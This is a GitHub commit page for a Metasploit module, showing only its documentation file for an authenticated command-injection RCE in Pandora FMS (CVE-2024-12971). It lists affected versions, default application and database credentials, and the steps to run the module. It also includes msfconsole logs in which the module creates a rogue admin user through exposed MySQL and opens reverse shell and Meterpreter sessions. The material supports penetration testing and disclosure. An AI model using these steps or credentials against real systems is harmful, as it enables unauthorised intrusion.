Skip to content

Commit fe9a0ad

Browse files
authored
Land rapid7#20008, PandoraFMS Auth RCE module
Pandora FMS authenticated RCE [CVE-2024-12971]
2 parents 2c64d15 + 40ba981 commit fe9a0ad

File tree

2 files changed

+555
-0
lines changed

2 files changed

+555
-0
lines changed
Lines changed: 185 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,185 @@
1+
## Vulnerable Application
2+
Pandora FMS is a monitoring solution that provides full observability for your organization's technology.
3+
This module exploits an command injection vulnerability in the `chromium-path` or `phantomjs-bin` directory
4+
setting at the application settings page of Pandora FMS.
5+
You need have admin access at the Pandora FMS Web application in order to execute this RCE.
6+
This access can be achieved by knowing the admin credentials to access the web application or leveraging a default
7+
password vulnerability in Pandora FMS that allows an attacker to access the Pandora FMS MySQL database,
8+
create a new admin user and gain administrative access to the Pandora FMS Web application.
9+
This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world.
10+
This issue affects Community, Free and Enterprise editions:
11+
- chromium-path: from v7.0NG.768 through <= v7.0NG.780
12+
- phantomjs-bin: from v7.0NG.724 through <= v7.0NG.767
13+
14+
Note: use target setting 2 "Tiny Reverse Netcat Command" for versions <= v7.0NG.738
15+
16+
The following releases were tested.
17+
18+
**Pandora FMS Releases:**
19+
* Pandora FMS Community Edition v7.0NG.718 (CentOS 7 ISO image)
20+
* Pandora FMS Community Edition v7.0NG.724 (CentOS 7 ISO image)
21+
* Pandora FMS Community Edition v7.0NG.725 (CentOS 7 ISO image)
22+
* Pandora FMS Community Edition v7.0NG.738 (CentOS 7 ISO image)
23+
* Pandora FMS Community Edition v7.0NG.739 (CentOS 7 ISO image)
24+
* Pandora FMS Community Edition v7.0NG.759 (CentOS 7 ISO image)
25+
* Pandora FMS Community Edition v7.0NG.767 (CentOS 7 ISO image)
26+
* Pandora FMS Community Edition v7.0NG.768 (CentOS 7 ISO image)
27+
* Pandora FMS Community Edition v7.0NG.777-LTS (Ubuntu 22.04)
28+
* Pandora FMS Community Edition v7.0NG.772-LTS (Ubuntu 22.04)
29+
30+
## Installation steps to install Pandora FMS Community, Free or Enterprise Editions
31+
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
32+
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
33+
* Download [Pandora FMS iso](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/).
34+
* Install the iso image in your virtualization engine.
35+
* When installed, configure the VM appliance to your needs using the menu options.
36+
* Boot up the VM and should be able to access the Pandora FMS appliance either thru the console, `ssh` on port `22`
37+
* or via the `webui` via `http://your_ip/pandora_console/index.php`.
38+
39+
* Note: from version `v7.0NG.760` follow the installation manual below:
40+
* [Non ISO installation](https://pandorafms.com/manual/!current/en/documentation/pandorafms/installation/01_installing).
41+
42+
You are now ready to test the module.
43+
44+
## Verification Steps
45+
- [ ] Start `msfconsole`
46+
- [ ] `use exploit/linux/http/linux/http/pandora_fms_auth_rce_cve_2024_12971`
47+
- [ ] `set rhosts <ip-target>`
48+
- [ ] `set rport <port>`
49+
- [ ] `set lhost <attacker-ip>`
50+
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command, 2=Tiny Reverse Netcat Command>`
51+
- [ ] `exploit`
52+
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
53+
54+
## Options
55+
56+
### USERNAME
57+
This option is optional and is the username (default: admin) to authenticate with the Pandora FMS application.
58+
59+
### PASSWORD
60+
This option is optional and is the password (default: pandora) in plain text to authenticate with the Pandora FMS application.
61+
62+
### DB_USER
63+
This option is required and is the username (default: pandora) to authenticate with the Pandora FMS MySQL database.
64+
65+
### DB_PASSWORD
66+
This option is required and is the password (default: Pandor4!) in plain text to authenticate with the Pandora FMS MySQL database.
67+
Note: In older versions, this password is set to `pandora` during installation of the application.
68+
69+
### DB_PORT
70+
This option is required and is the MySQL database port (default: 3306) to connect to the database.
71+
72+
## Scenarios
73+
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - PHP Command target
74+
Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application
75+
to gain the privileges for the RCE.
76+
```msf
77+
msf6 > use exploits/linux/http/pandora_fms_auth_rce_cve_2024_12971
78+
[*] Using configured payload php/meterpreter/reverse_tcp
79+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set rhosts 192.168.201.6
80+
rhosts => 192.168.201.6
81+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set lhost 192.168.201.8
82+
lhost => 192.168.201.8
83+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > rexploit
84+
[*] Reloading module...
85+
[*] Started reverse TCP handler on 192.168.201.8:4444
86+
[*] Running automatic check ("set AutoCheck false" to disable)
87+
[+] The target appears to be vulnerable. Found chromium_path RCE. Pandora FMS version v7.0NG.777
88+
[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application.
89+
[*] Succesfully authenticated at the Pandora FMS Web application.
90+
[*] Saving admin credentials at the msf database.
91+
[*] Executing PHP Command for php/meterpreter/reverse_tcp
92+
[*] Sending stage (40004 bytes) to 192.168.201.6
93+
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:51714) at 2025-04-05 11:30:11 +0000
94+
[+] Payload is successful removed from chromium_path path configuration.
95+
96+
meterpreter > getuid
97+
Server username: www-data
98+
meterpreter > sysinfo
99+
Computer : cuckoo
100+
OS : Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
101+
Meterpreter : php/linux
102+
meterpreter > pwd
103+
/var/www/html/pandora_console
104+
meterpreter >
105+
```
106+
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - Unix/Linux Command target
107+
Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application
108+
to gain the privileges for the RCE.
109+
```msf
110+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set target 1
111+
target => 1
112+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set password xxx
113+
password => xxx
114+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > rexploit
115+
[*] Reloading module...
116+
[*] Started reverse TCP handler on 192.168.201.8:4444
117+
[*] Running automatic check ("set AutoCheck false" to disable)
118+
[+] The target appears to be vulnerable. Found chromium_path RCE. Pandora FMS version v7.0NG.777
119+
[*] Trying to log in with admin credentials admin:xxx at the Pandora FMS Web application.
120+
[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.
121+
[*] Creating new admin user with credentials 39mqge:nmC9AuEJ5M for access at the Pandora FMS Web application.
122+
[*] Trying to log in with new admin credentials 39mqge:nmC9AuEJ5M at the Pandora FMS Web application.
123+
[*] Succesfully authenticated at the Pandora FMS Web application.
124+
[*] Saving admin credentials at the msf database.
125+
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
126+
[*] Sending stage (3045380 bytes) to 192.168.201.6
127+
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.6:48916) at 2025-04-05 11:33:09 +0000
128+
[+] Payload is successful removed from chromium_path path configuration.
129+
130+
meterpreter > getuid
131+
Server username: www-data
132+
meterpreter > sysinfo
133+
Computer : 192.168.201.6
134+
OS : Ubuntu 22.04 (Linux 5.15.0-126-generic)
135+
Architecture : x64
136+
BuildTuple : x86_64-linux-musl
137+
Meterpreter : x64/linux
138+
meterpreter > pwd
139+
/var/www/html/pandora_console
140+
meterpreter >
141+
```
142+
### Pandora FMS v7.0NG.738 on CentOS 7 - Tiny Netcat Command
143+
Attack scenario: use the payload less then 100 bytes to achieve the RCE.
144+
```msf
145+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set password pandora
146+
password => pandora
147+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set target 2
148+
target => 2
149+
msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > rexploit
150+
[*] Reloading module...
151+
[*] Started reverse TCP handler on 192.168.201.8:4444
152+
[*] Running automatic check ("set AutoCheck false" to disable)
153+
[+] The target appears to be vulnerable. Found phantomjs_bin RCE. Pandora FMS version v7.0NG.738
154+
[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application.
155+
[*] Succesfully authenticated at the Pandora FMS Web application.
156+
[*] Saving admin credentials at the msf database.
157+
[*] Executing Tiny Reverse Netcat Command (use THIS for versions <= v738) for cmd/unix/reverse_netcat_gaping
158+
[*] Command shell session 3 opened (192.168.201.8:4444 -> 192.168.201.6:52784) at 2025-04-05 11:38:47 +0000
159+
[+] Payload is successful removed from phantomjs_bin path configuration.
160+
161+
id
162+
uid=48(apache) gid=48(apache) groups=48(apache)
163+
uname -a
164+
Linux localhost.localdomain 3.10.0-957.5.1.el7.x86_64 #1 SMP Fri Feb 1 14:54:57 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
165+
pwd
166+
/var/www/html/pandora_console
167+
```
168+
169+
## Limitations
170+
In older versions of Pandora FMS, you might run into error 'Unable to login from this host due to policy' if you try to connect
171+
to the MySQL database with the default database credentials.
172+
This is caused by the restrictive host settings at the MySQL database which is default set to `localhost` and `127.0.0.1`.
173+
You can check this with the SQL command below if you have local access to the database.
174+
```
175+
SELECT host FROM mysql.user WHERE user = "pandora";
176+
+-----------+
177+
| host |
178+
+-----------+
179+
| 127.0.0.1 |
180+
| localhost |
181+
+-----------+
182+
```
183+
In newer versions of Pandora FMS, this has been changed to '%' which allow any host to connect to the database.
184+
Another restriction is the payload size for versions <= v7.0NG.738 where the payload size is restricted to a maximum
185+
of 100 bytes. Please use the `Tiny Netcat Command` option get a reverse shell.

0 commit comments

Comments
 (0)